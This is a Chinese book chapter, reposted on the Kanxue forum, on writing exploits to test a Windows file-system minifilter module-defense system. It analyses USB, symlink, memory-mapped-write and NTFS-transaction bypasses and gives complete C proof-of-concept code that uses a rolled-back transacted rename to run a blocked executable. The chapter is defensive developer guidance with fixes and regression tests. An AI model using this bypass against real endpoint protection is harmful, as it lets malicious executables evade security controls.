5.4 漏洞利用与测试
漏洞分析提示的只是漏洞存在的理论可能,并不能确认漏洞真正存在。这种尚未被确认的漏洞只能称为潜在漏洞。只有编写出“利用”并实现攻击的漏洞,才能确认是真正存在的漏洞,可称为确实漏洞。上文的利用是利用验证演示程序(即PoC)的简称,是名词而非动词,指一段演示代码,能演示利用漏洞进行的攻击。攻击必须是成功的。而渗透测试,实际上就是针对漏洞编写利用的过程。安全系统的开发团队工作的方式和渗透测试团队是不一样的,但编写漏洞利用依然有很大的用处。对潜在漏洞成功地编写漏洞利用可以确认漏洞存在。虽然未能成功地编写出漏洞利用并不彻底否认漏洞的存在,但能评估利用该漏洞进行攻击的难度。如果攻击难度非常高,那么修补该漏洞的优先级就可以相应地靠后。漏洞利用也是在漏洞修补之后进行验证的必要工具。如果没有漏洞利用,那么漏洞即便得到了所谓“修补”,也是完全无法验证的。那么和没有进行修补的区别在哪呢?如果开发团队不编写利用,那么利用就将由渗透测试人员甚至是恶意攻击者来实现,而项目付出的成本将会急剧飙升。5.4.1 盘符与路径漏洞
在5.2.1节的设计漏洞分析曾经提出了U盘插入漏洞。如果一个装满了可执行文件的U盘被插入到主机,由于这个过程并不涉及文件的写入,安全系统将无法发觉这些可执行文件的加入,从而默认它们都是原来就存在的可信的文件。这个利用很容易实现,甚至不需要编写代码。测试中操作者将U盘插入,然后鼠标双击U盘中存在的可执行文件即可。如果可执行文件被成功执行,即绕过了安全系统的防护。但和渗透测试人员不同,开发者编写利用的过程中需要不断思考“如果禁止这样做,那么是否还能绕过”的问题。这样才能逐步触及问题的本质。而开发人员是了解系统实现的原理的,因此比渗透人员做同样的工作成本要低得多。就如上这个问题,开发者应继续追问:“如果禁止插入U盘,是否还能利用这个漏洞呢?”除了插入U盘之外,还有其他操作能让文件不经过文件系统创建就“出现”在系统中。比如添加虚拟盘。如加载一个ISO文件,系统中将出现一个虚拟盘。但这些操作的共同特点是,系统中将出现新的盘符。系统存在漏洞并不是一件糟糕的事。糟糕的是漏洞存在却无人知道,或者有人知道却不知如何利用。当利用明确,那么修补的方式也同时明确了。如果该漏洞的本质是出现新的盘符未被考虑,那么修补有如下的选项:n 禁止任何新盘符出现。这适合那些禁止插入任何可移动存储设备的环境。n 允许出现新盘符,但是任何新盘符上的可执行模块都一律禁止执行。这种策略适合大多数普通办公的环境。n 允许出现新盘符。同时新盘插入时,自动扫描盘上所有可执行文件并加入可疑链表中。这种适应性最好,但是开发成本高、且容易带来更多潜在漏洞,不是经济且可靠的选择。在考虑到“新增盘符”是一个漏洞的情况下,分析者也应同时考虑“新增路径”是否存在漏洞?因为新增盘符的本质是增加了新的路径的可能。但不一定需要增加盘符,也可能新增可执行文件的路径。比如说,通过文件重定向、创建软链接等形式,可以让一个可执行文件以不同的路径来执行。看起来对原本存在的文件新增路径并不会带来任何问题,但是可疑文件也可能新增路径。尝试编写这样的利用:一个文件被复制进入系统,从而它的路径进入了可疑库。但是,攻击者设法为它创建了一个链接,从而诞生了一个新的路径。然后不知情的用户点击了新的路径。安全系统拦截到了模块执行,但比对显示其路径并不在可疑库中,因此被放过,从而绕过了系统!这其中的关键是,能否创建一个链接产生新的路径,让微过滤驱动获得的路径并非原始的,而是新的路径?如果要修补漏洞,那么在微过滤驱动中如何获得文件的原始路径?这正需要编写利用去证实或者证否,请读者自己完成。5.4.2 内存映射读写漏洞
5.2.2节的技术漏洞分析指出,文件映射读写将会绕过仅仅对非分页文件些写进行处理的微过滤驱动程序的拦截。这从理论上可行,利用编写也比较简单。网上很容易找到利用内存映射方式读写文件的例子。内存映射读写带来的问题是:这种读写方式并不会直接触发文件读写操作。在这里请回顾图3-2。在用户态使用API函数WriteFile来写入文件的时候,微过滤驱动能拦截到非分页的普通请求(IRP),因而能得到处理机会。但通过内存映射读写文件的时候,被写入的是内存而不是文件,因此不会发生这种请求。同时内存写入之后,图3-2中的文件缓存将被改写。程序读取文件的时候会从文件缓存中读取,因此文件的内容本质已经被改变。文件缓存和硬盘上的真实文件可以不一致,这无关紧要。在需要同步的时候,Windows内核通过分页请求将最新的文件缓存内容写入磁盘。这时微过滤驱动是可以拦截到磁盘写入请求的。但遗憾的是请回顾代码3-1中的1处,其中存在一个恰好跳过分页请求的标记FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO。因此,本书示例的安全系统将拦截不到这种请求。这个利用的编写应该比较简单,因此本书并没有给出实际的代码,建议读者自己尝试编写。但要注意的是,这个例子的编写成功并不意味着漏洞能真正被利用。这和5.4.1节中的盘符与路径漏洞不同。对于盘符漏洞,用户只要捡起一个可疑的U盘插入系统,然后双击执行,就破坏了安全系统的防护。而在本节的内存映射读写文件的利用编写出来的可执行文件本身是新产生的可疑文件,会直接被模块防御阻止,因而无法攻击成功。开发者会以此种攻击无法实现作为理由而拒绝修复漏洞。因此在提供利用时,我们有必要说明真正实现攻击的途径。虽然直接编写一个可执行文件来实现攻击是不可行,但我们完全可以设想现实场景中可能的真正攻击。假定有某个合法的下载工具,比如浏览器,或者FTP客户端等等,它在保存文件到本地的时候用的是内存映射方式(这种可能性存在的概率是极大的)。不知情的用户用该工具从网上下载一个恶意文件保存到本地时,模块防御因为拦截不到写入操作而无法将它加入可疑库。当用户再无意地执行它的时候,防御措施就被彻底绕过了。经过这样的评估,开发者会意识到此处的漏洞是极为严重的。因为内存映射读写文件在各类工具软件中广泛存在,该漏洞足以让加强主机防御系统的一切努力都付之东流。如果不修复它,其他所有的工作都是白费。理论上要修复这个漏洞就必须过滤内存读写。但是在系统中过滤内存操作是难度极大的工作。实际上我开发客户端内核安全组件十余年,大多数时间做的都是这件事。想要普适性、高性能、精准地过滤拦截内存读写几乎是不可能的。假定无法过滤内存读写,似乎这个漏洞就永远是存在的。因为通过内存读写就能修改文件缓存,也就实质修改了文件内容。如果这个被修改后的文件可以不刷入磁盘就直接作为可执行文件执行,那就变成了无法捕获的幽灵。好在天无绝人之路。由于Windows在执行文件之前会先将所有缓存刷入磁盘,因此一定有非分页写请求产生(图3-1中的分页IRP)。因此在去掉FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO之后,过滤分页IRP即可捕获这种情况。要注意的是捕获分页请求的回调处理更麻烦,因为中断级更加不确定,编码需要更加小心。请参考微软的文档和范例自行完成。5.4.3 事务操作漏洞
对于5.4.1节和5.4.2节中分别提到的两个利用,本书都没有提供实际的例子。这两个利用要么可以通过简单的操作实现,要么利用的编码比较简单。但本节的漏洞涉及到一种不同寻常的技术,因此我会提供相应的例子。在安全系统中,越是不同寻常的技术反而最有可能带来风险。因为不同寻常,较少应用,因此不广泛为人所知,这使得在安全系统的开发中往往被遗漏或者忽视。但较少应用或者较少为人所知并不影响它的有效性。NTFS的事务(TxF)是一种极少被提及的技术。它的本意是给NTFS加入类似数据库的事务的特性,让开发者可以实现一组原子化的操作。比如一个文件可以被修改、被改名等等,但这一组操作被视为一个事务。如果该事务不提交或者提交失败,那么其中所有的操作都一并作废。相反地,如果提交成功,那么这一系列操作则同时生效。这个想法非常好,但从推出之后,此技术很少被开发人员使用,以至于微软也不再愿意继续提供此技术。但微软也不能贸然将它删除,因为可能有些软件已经使用了它。所以微软在文档中强烈推荐开发者不要继续使用事务,如图5-2所示。图5-2 微软在文档中强烈推荐开发者不要继续使用事务
很多情况下开发者可能会认为,既然微软已经强烈推荐不要再使用它,而且实际使用它的人也很少,那么我们正可以明正言顺地忽视它,更不用投入宝贵的人力在它上面。但对安全系统的开发者来说刚好相反。微软表示将来可能弃用,正说明现在没有弃用它。使用它的人少,正说明这技术极有可能被开发者忽视,而被恶意攻击者注意到,并利用起来攻击现有的系统。所以安全系统的开发者往往需要去关注很多小众、麻烦、成本过高不会有人那么去做的技术。因为这些东西都是攻击者甘之若饴的宝藏。知道的人少或者应用不多丝毫不会提升攻击者使用它的难度。而成本过高很可能是对正常软件项目而言的。对恶意攻击者来说,写几千行代码只为实现一个小小的跳转丝毫也不显得成本高昂。下面考虑一下如何利用事务来实现攻击。本例的模块防御的技术基础是使用微过滤驱动拦截文件系统操作。事务的特点是可以让操作产生、被拦截到,但最后轻而易举地消失(只要不提交就等于不生效)。试图事务来创建可疑文件意义不大。因为可疑文件必须要创建生效才能产生作用。但另一方面,还有一些操作是一旦不生效则产生严重后果的。比如可疑文件的改名。根据本书模块防御的原理,如果一个可疑库中的文件改名,那么可疑库中的路径也会随之改名。正常情况下,文件改名的请求成功,可以认为这个文件的名字已经真正改变。但是对事务操作来说,这可能只是虚晃一枪。攻击者可以使用事务方式对文件进行一次改名。模块防御会在改名成功的情况下修改可疑库中的文件路径。但事务操作可以回滚,这并不会带来另一次改名请求,所以模块防御系统不会知道操作回滚了。然后可疑文件真正执行,由于其路径和可疑库中的(改名之后的路径)已经不同,不能匹配,所以这个文件变成了合法的白文件,从而实现了攻击。5.5节中将提供这个利用的代码及其演示。那么这个攻击是否存在实际场景呢?这取决于是否存在一个合法的软件使用了事务操作,并且这种操作能否被利用来对一个可执行文件进行一次重命名并回滚。这种可能性是不高的,但是无法证实其不存在。因为市面上的软件芸芸众众无法胜数,我们无法一一去甄别其是否使用了事务操作,又是否存在这种用事务对文件改名且进行回滚操作的情况。但只要存在某个下载工具或者浏览器等软件,对下载的文件利用事务操作进行过一次重命名且回滚了操作,那么该攻击就有可能成功。无论这种存在的概率有多低,这种威胁都是切实存在的。极低概率的攻击风险,往往需要巨大的人力成本去进行开发才能完成修补,那么到底要不要去做呢?这是安全系统开发中常见的取舍难题,没有标准答案。以为我个人的经验来看,此类工作考虑的重点不是是否要去做,而是应该以何种优先级对各类工作进行排序,按如何的顺序排期去做。5.5 事务操作漏洞的利用
5.5.1 本利用的编程原理
我将利用NTFS的事务操作来尝试绕过前面实现的模块防御功能。实际上事务操作很少被人使用,因此我查阅了微软的相关文档。其主要编程流程是:(1)使用API函数CreateTransaction来创建一个事务,并得到事务句柄。(2)打开文件的时候用CreateFileTransacted来替代原本常用的CreateFile,其中参数可以传入事务句柄。这样得到的文件句柄就是在事务中打开的了。(3)对文件句柄可以进行任何相关的操作,比如读写、重命名等。也可以关闭文件句柄。(4)所有文件操作只有在调用了CommitTransaction提交事务之后才会真正生效。如果没有调用就关闭了事务句柄,那么所有操作实际上会回滚。注意,在Windows用户态调用以上函数需要包含不太常用的头文件ktmw32.h。此外,在这个利用为了完全自动化,进行了可疑文件的生成。首先假定一个非可疑的可执行文件Helloworld.exe存在,那么利用函数CopyFile对这个文件进行一次复制,复制出的文件Helloworld2.exe作为新文件,就会被模块防御加入到可疑库中成为可疑文件。正常的情况下,这个文件是无法执行的。在利用中,程序会首先尝试执行这个文件。如果执行成功了,说明模块防御本身没有起作用。这种情况得出的测试结论是不准确的,应直接报错返回。如果执行失败,说明模块防御正在生效中。接下来就是重头戏。首先用事务方式打开可疑文件Helloworld2.exe的句柄,然后重命名成Helloworld3.exe,接下来关闭文件句柄和事务句柄,导致操作回滚。然后再尝试执行Helloworld2.exe,利用将显示执行成功。甚至之后测试者尝试手动执行Helloworld2.exe,明明这应该是个新生成的可疑文件,但现在也可以正常执行了。5.5.2 本利用的代码实现
原理如5.5.1节,用事务进行漏洞利用的代码如代码6-1所示。
// 漏洞利用:利用NTFS事务来“伪造”成功的文件重命名,从而使得可疑
// 文件逃离可疑文件路径库的监管
int PocTransaction()
{
HANDLE trnsc = NULL;
HINSTANCE proc = NULL;
HANDLE file = NULL;
int ret = 0;
char path1[] = { "helloworld.exe" };
char path2[] = { "helloworld2.exe" };
char path3[] = { "helloworld3.exe" };
wchar_t lpath3[] = { L"helloworld3.exe" };
do {
// 1. 首先打开一个事务
trnsc = ::CreateTransaction(NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (trnsc == NULL)
{
// 事务生成必须成功,否则无法执行。
ret = -1;
LOG(("PocTransaction: Failed to CreateTransaction.\r\n"));
break;
}
// 2. helloworld.exe本身不是新创建的,因此必然可以直接执行。为了
// 让它变得可疑,我先复制一下这个文件,使之变成可疑库中的文件。
_unlink(path2);
if(!CopyFileA(path1, path2, FALSE))
{
// 如果复制失败了,测试无法进行。
LOG(("PocTransaction: Failed to copy helloworld.exe.\r\n"));
ret = -2;
break;
}
// 3. 这时候尝试运行helloworld2.exe,因为已经是可疑文件,应该是失败的
// 状态
proc = ShellExecuteA(NULL, NULL, path2, NULL, NULL, SW_SHOW);
// ShellExecuteA这个函数比较奇特,如果返回值小于等于32,则是发生了错误。
if(proc > (HINSTANCE)32)
{
// 如果成功执行了,说明测试失败。
LOG(("PocTransaction: Run helloworld2.exe OK. HIPS doesn't work..\r\n"));
ret = -3;
break;
}
// proc如果是小于等于32的,那么就是一个错误码,这是我们期望的结果。proc
// 设置为NULL避免后面调用CloseHandle
proc = NULL;
// 4. 然后打开文件
file = CreateFileTransactedA(
path2,
GENERIC_READ| GENERIC_WRITE|DELETE,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
NULL,
OPEN_ALWAYS,
// 参考资料上说这个参数很关键,没有不行
FILE_FLAG_OPEN_REPARSE_POINT,
NULL,
trnsc,
NULL,
NULL);
if (file == NULL)
{
// 如果文件打不开,无法正常测试
LOG(("PocTransaction: Failed to open a file in the transaction.\r\n"));
ret = -4;
break;
}
// 一般情况下重命名文件用rename函数就行了,但rename函数无法指定
// 句柄,所以不得不用SetFileInformationByHandle来实现重命名
auto dst_path_len = wcslen(lpath3);
auto buf_size = sizeof(FILE_RENAME_INFO) +
(dst_path_len * sizeof(WCHAR));
auto buf = _alloca(buf_size);
memset(buf, 0, buf_size);
auto const fri = reinterpret_cast(buf); (1)
fri->ReplaceIfExists = TRUE;
fri->FileNameLength = (DWORD)dst_path_len;
wmemcpy(fri->FileName, lpath3, dst_path_len);
// 6. 现在重命名文件
if (!SetFileInformationByHandle(file,
FileRenameInfo, fri, (DWORD)buf_size))
{
// 如果重命名失败了,也无法正常测试
LOG(("PocTransaction: Failed to rename the file in the transaction.\r\n"));
ret = -5;
break;
}
// 7. 文件被重名之后,可以关闭文件了。
CloseHandle(file);
file = NULL;
// 这里我提交事务,理论上就能重命名完成。在PoC中这个是不需要的。在调试中用
// 这个可以确认事务和文件重命名都正常。
// if(!CommitTransaction(trnsc)) (2)
// {
// LOG(("PocTransaction: Failed to commit the transaction.\r\n"));
// ret = -6;
// break;
// }
// 8. 文件被关闭之后,我直接关闭事务(注意我没有提交事务,所以事务会自动回滚
CloseHandle(trnsc);
trnsc = NULL;
// 9. 既然事务回滚了,我现在继续执行启动可疑文件path2。如果成功,则我
// 绕过了防御,返回1。如果不成功,则防护生效,我返回0
proc = ShellExecuteA(NULL, NULL, path2, NULL, NULL, SW_SHOW);
if (proc != NULL)
{
// 如果成功执行了,说明绕过了防御,返回1.
LOG(("PocTransaction: Hit!!!\r\n"));
ret = 1; (3)
}
else
{
// 如果不成功,则防护生效,我返回0
LOG(("PocTransaction: Protected!!!\r\n"));
ret = 0; (4)
}
} while (0);
if (file != NULL)
{
CloseHandle(file);
}
if (proc != NULL)
{
CloseHandle(proc);
}
if (trnsc != NULL)
{
CloseHandle(trnsc);
}
// 停下等待,避免控制台窗口一闪而过
getchar();
return ret;
}
以上代码的流程和5.5.1节中的介绍完全一致,也非常易读。唯一要注意的是,在Windows开发中常见的对文件重命名的操作会用函数rename,这样编码极为简单。但是在上例中这是不可行的。因为rename函数只能指定文件的路径而无法指定文件的句柄,因此无法确保重命名操作在事务中进行,因此测试无法成功。在这里我不得不使用函数SetFileInformationByHandle来对文件进行重命名操作。SetFileInformationByHandle可以指定文件的句柄,但同时要填写一个相当复杂的FILE_RENAME_INFO结构(见代码中的(1)处)。一旦重命名成功,如果在2处调用CommitTransaction来提交事务,则重命名操作会真正生效。当然,在漏洞利用,程序有意不提交事务来欺骗模块防御程序,因此CommitTransaction函数的调用被注释了。另外值得注意的是,在测试中任何步骤都可能失败。如果失败了,函数将会返回一个负数,表示测试失败,即这次漏洞利用的测试的结果是无效的(并不意味着攻击失败)。如果测试是成功的,利用成功穿透了模块防御的防守,那么(3)处会返回一个正数表示攻击成功。但还有另外一种成功的方式:即所有攻击都正确执行了,但是模块防御依然成功抵御了攻击,在(4)处函数会返回0表示防御成功。在漏洞利用的测试中,测试失败、攻击成功、防御成功的区分是很重要的。尤其是防御成功的返回值将用于修补漏洞之后的回归测试,并在将来的单元测试中作为一个单元,来确保这个漏洞一直是已修复的状态。5.5.3 实测效果和评估
要实测这个利用,需要首先在系统中安装本书实现的模块防御驱动程序。该驱动程序在加载之后,理论上从用户态无法创建一个能执行的、新的可执行文件。为了方便测试,我编写了一个简单的打印“Hello,world”的控制台应用,并命名为符合代码5-2要求的helloworld.exe,复制到被测试系统中。此时模块防御驱动程序还没有加载。加载模块防御驱动程序之后,因为helloworld.exe的存在先于模块防御驱动程序的加载,因此被模块防御认定为“原有的”可信的文件,helloworld.exe是可以执行的。然后请复制helloworld.exe为helloworld2.exe。因为helloworld2.exe是新生成的可执行文件,会被模块防御系统加入到可疑库中,被禁止执行。因此这时候用鼠标双击helloworld2.exe,该程序将执行失败,如图5-3所示。注意图5-3中,成功执行的是程序helloworld.exe,而执行失败的是helloworld2.exe。这两个程序是同一份二进制文件的两份拷贝。因此可以证实,模块防御驱动程序正在起作用。现在请将5.5.2节中的漏洞利用程序编译出来并复制到虚拟机上。要注意的是,复制之前必须先卸载模块防御驱动,否则模块防御驱动会认为该程序可疑,导致测试无法进行。同时helloworld2.exe应被删除,以免干扰测试。在我的测试虚拟机中,事务漏洞利用的执行效果如图5-4所示。注意在该图中,helloworld2.exe这个文件是在模块防御加载之后才生成的,但是成功地得以执行。即便是事后测试者用鼠标双击执行它,也能够执行成功。这说明仅限于在用户态,攻击者依然有手段可以绕过模块防御,让一个本来被模块防御禁止的程序能够执行起来。这显然不符合我们在5.1.1节中确定的需求: “Windows11用户态包括管理员权限的任何权限环境下任何PE文件的加载执行都能被拦截,并可根据用户的判断选择放过执行或阻止执行。”但我们要注意到,并不是所有的确实漏洞都会成为现实中的攻击。即使漏洞是确实漏洞,要达成攻击还是需要一定的条件的。比如本漏洞,要达成攻击的前提是,被系统所允许的软件中,存在使用事务重命名可执行文件的行为,并能被攻击者所利用。一个可能的场景是,攻击者通过邮件发送一个文件给用户,并诱惑用户用某个被合法允许的软件去打开,而该软件会允许执行通过事务去重命名文件,并回滚的操作。这种可能性是很低的,但不能说绝对不存在。此外,其他的、利用事务绕过防御的场景的可能性也是存在的。它应该修补吗?毫无疑问,对安全系统的开发者而言,任何确实漏洞都应该修补。但任何漏洞的修补成本都必须控制在允许的范围之内。同时对所有可能的漏洞,开发者必须对它们的风险、修补成本必须综合进行比较排名,来决定修复的先后次序和排期。看雪ID:星星人
https://bbs.kanxue.com/user-home-143652.htm
*本文为看雪论坛优秀文章,由 星星人 原创,转载请注明来自看雪社区